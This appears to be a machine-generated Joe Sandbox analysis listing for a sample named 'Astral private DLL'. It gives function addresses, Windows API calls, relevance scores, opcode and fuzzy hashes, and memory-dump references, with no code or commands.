GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,0017E5E8,00000004,001C1CEC,0017E86D), ref: 0017E6CF

Strings

D, xrefs: 0017E6C3

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 81ffe12e97870f8c59d9f3d43a27ceaaebb6972b01a025cb3a064509f231771c
Instruction ID: 1db124e619a0cc7ad6317d69ae0c155d9b49c56f7692552209337d01edfe8ca3
Opcode Fuzzy Hash: 81ffe12e97870f8c59d9f3d43a27ceaaebb6972b01a025cb3a064509f231771c
Instruction Fuzzy Hash: 7E01F736A001096BDB18DE29DC09BDD7BFAAFC8328F0CC161ED1DD7154D734D9458680

Function 00188EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00188FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00188FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00188FCC

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c6ceb031961435adda78abef413f332073a74fb0d64c0a22a1ff89bac7681323
Instruction ID: c583d0ed20b0998381b4912bc03ea47c0007112f16a52a6fdd568eeb296497ed
Opcode Fuzzy Hash: c6ceb031961435adda78abef413f332073a74fb0d64c0a22a1ff89bac7681323
Instruction Fuzzy Hash: 2A31C57590121CABCB21DF68DC89B9DBBB8BF18310F5041EAE41CA7290EB709F858F44

Function 0018D440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: cb720497bfaae20589dad3d5bd3b7b8620322fd0b61a362fea440f7caf1f4ebe
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: C5021B71E002199BDF14DFA9D8906AEB7F1EF48324F25826AD919E7384D731AE418F90

Function 0017AF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0017AF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,0019E72C,?,?), ref: 0017AF84

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 397f265770c148a0d7883b23f7c4a7254f8ee14fd14bfc412d56f68cb2e133ac
Instruction ID: e4015b877d17a0cf2b81f29d2c666ddec16983f149712d2c5cac7699cc99a3e2
Opcode Fuzzy Hash: 397f265770c148a0d7883b23f7c4a7254f8ee14fd14bfc412d56f68cb2e133ac
Instruction Fuzzy Hash: 0A01713A10030CAADB11DFA4EC45F9A77BCEF08710F009026FA05E7161D3709995CBA5

Function 00166C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00166DDF,00000000,00000400), ref: 00166C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00166C95

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 4f9e88230e9e3e9c11bf54dd79a0e1e4e63ba303a3b5fc92bf5c9d62fa9359d3
Instruction ID: 5ff19af2754c7a4ee3e9b751f2719c052f61e635e2230ad77d81fdb7983eb237
Opcode Fuzzy Hash: 4f9e88230e9e3e9c11bf54dd79a0e1e4e63ba303a3b5fc92bf5c9d62fa9359d3
Instruction Fuzzy Hash: 69D0C931344300BFFA110B628D06F2EBB99BF45B51F18C405BBA5E84E0CB749874E629

Function 001919F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,001919EF,?,?,00000008,?,?,0019168F,00000000), ref: 00191C21

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 5a3e8b38cbbfaca5687a0f681f4367ccf4abd817e5dbc6ab4629693575ccbbd8
Instruction ID: 5c40558f1e780a31774be9c3fa0f72b84c3b531bcdca1b0fc0ab77ef64abb6aa
Opcode Fuzzy Hash: 5a3e8b38cbbfaca5687a0f681f4367ccf4abd817e5dbc6ab4629693575ccbbd8
Instruction Fuzzy Hash: 38B14E3561060AEFDB19CF28C48AB657BE1FF45364F258658E89ACF2A1C335ED91CB40

Function 0017F654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0017F66A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7b7f79b004a85849f86b2199caa51367c53367f05297029354642340b9a64847
Instruction ID: 1ba7c16f4f3b637b4ae3cbd45cb2464123154e1f9442021f4994f1a182c5c273
Opcode Fuzzy Hash: 7b7f79b004a85849f86b2199caa51367c53367f05297029354642340b9a64847
Instruction Fuzzy Hash: 90517DB1904609DFEB28CF98E8857AABBF4FB48324F24853AD419EB251D374DD41CB91

Function 0016B146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0016B16B

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 9325c8680681f9de5ed9052ba8544e757ad896d47f05332c380cce217bf77a60
Instruction ID: 6b5ef7f407046e42283da841dca1cf55ed30be02fe15a9b876eee76e7ee52d9a
Opcode Fuzzy Hash: 9325c8680681f9de5ed9052ba8544e757ad896d47f05332c380cce217bf77a60
Instruction Fuzzy Hash: 69F03AB5E00218EFDB18CB18ED926DA73F1FB8A315F154396E91593790C3B0A9D08E60

Function 001640FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 001641BC

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 57d89eff5a96ab29a3b27a0584b557ee391ff9df432178193a8331a4e31fa2ea
Instruction ID: 52c5d3f0f7874048510ecbefabdce17bfb09195189ae3669b695c6ad8a7d4a64
Opcode Fuzzy Hash: 57d89eff5a96ab29a3b27a0584b557ee391ff9df432178193a8331a4e31fa2ea
Instruction Fuzzy Hash: BDC12776A183418FC354CF29D88065AFBE1BFC8308F19892DE998D7311D734EA59CB96

Function 0017F9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,0017F3A5), ref: 0017F9DA

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7fc3c5ff17ec74a713e66f242cd7fb95ccddbb446812de59de9be6b1b1cbfa4f
Instruction ID: fd0a0aa4aa5444e3860a1d1efb3b3e33f702e02f2304cac67f91176364ae9d93
Opcode Fuzzy Hash: 7fc3c5ff17ec74a713e66f242cd7fb95ccddbb446812de59de9be6b1b1cbfa4f
Instruction Fuzzy Hash:

Function 0018C030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0018C030

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f0f8abaeab411f8f320f2586190c7724739a61f5ddefb585c5b19238abc26600
Instruction ID: 7bdc2ae4ec241c33eb47552ca1bc72a6f4fdd2a176c69f80a00849e33e386692
Opcode Fuzzy Hash: f0f8abaeab411f8f320f2586190c7724739a61f5ddefb585c5b19238abc26600
Instruction Fuzzy Hash: F9A011302022008B83008F30AE08A083AA8AB00280308002BA808C0830EA3088E0AA00

Function 001762CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction ID: 658fbba52128302f9ff431eaf4d2c4e2170fe05f00b4fe319e8bd642525dba66
Opcode Fuzzy Hash: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction Fuzzy Hash: E062A271604B859FCB29CF28C8906B9BBF1AF95304F18C96DE89E8B346D734E945CB11

Function 001777EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction ID: a3d70f5d22bc3141d18e2857cf91d689f271f08d8ab74eee12c3ad2a0cd5f85e
Opcode Fuzzy Hash: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction Fuzzy Hash: 4062E6716083858FCB19CF28C8905B9BBF1BF99304F18C96DE99A8B386D730E945CB55

Function 0016F461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction ID: b57f8fee8214cfee0f02bceeae0174d034cd330ad67e0e75974f4750167e8894
Opcode Fuzzy Hash: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction Fuzzy Hash: D3524A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 00177153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f973b2fbd0e26b953fda11dd1dfbf000fd8dbe3d5fea0db04b251caed6e9a64a
Instruction ID: 8b4e9e4bd20b8e857b0f6d6a75ae49c4f52d6a515936c2360cf675fde3fc828d
Opcode Fuzzy Hash: f973b2fbd0e26b953fda11dd1dfbf000fd8dbe3d5fea0db04b251caed6e9a64a
Instruction Fuzzy Hash: 0612B1B16187069FC718CF28C894A79B7F1FF94308F14892EE99AC7781E334A995CB45

Function 0016C426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c34f2d3610205ec9853637fbfaf850d5e9c504f4fb22cad6320a7c6f2a5f9de
Instruction ID: b90653c3c921c6256eef7ee214b406fae1d03d1b4c302fa49fc4dcb35eb3d269
Opcode Fuzzy Hash: 5c34f2d3610205ec9853637fbfaf850d5e9c504f4fb22cad6320a7c6f2a5f9de
Instruction Fuzzy Hash: 8EF18871A083018FC718CE28C89863ABBE5EBDA318F154A2EF4C5D7352D730E9558B96

Function 00176CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4e714cd4b5b27b23ddbc2b8ef5801b18c87eb14f87f56f28e17bfea504979ee0
Instruction ID: 21940acf35a3d1b4f140ff8492cf6c4e314d31a54789c58e7a5fde1b55f3bf0f
Opcode Fuzzy Hash: 4e714cd4b5b27b23ddbc2b8ef5801b18c87eb14f87f56f28e17bfea504979ee0
Instruction Fuzzy Hash: 9AD181B16087458FDB24DF28C84479BBBF1BF99308F08856DF8899B242D774E909CB56

Function 0016E9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8bfcb82d9a663dcc9eba325889bf43b3e1640bec1d273e639129fafae914f1
Instruction ID: b188373a839c841deb2b84418afd88598a647c261904eaf2fcd0e406618ed92a
Opcode Fuzzy Hash: 6a8bfcb82d9a663dcc9eba325889bf43b3e1640bec1d273e639129fafae914f1
Instruction Fuzzy Hash: 38E134755083948FC384CF69D89086BBFF1AF9A300F49095EF9C497352C235EA59DBA2

Function 00174088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction ID: 81454f06197ed57a55ff51277320f540dcb8ac1ac05c41cccc8349b99dfa85d3
Opcode Fuzzy Hash: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction Fuzzy Hash: 4B9167B02043498BDB28EE64EC90BBA77E9EF60300F50892DF59ED7282DB74A555C752

Function 001743BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: b59e88a81d2c10548997da603b757c30a216d21ab204ffa876f3189997fa82fd
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 728148713043468FDB28DE68DCD1BBD77E4AFA1304F10892DF99E8B282DB7489859752

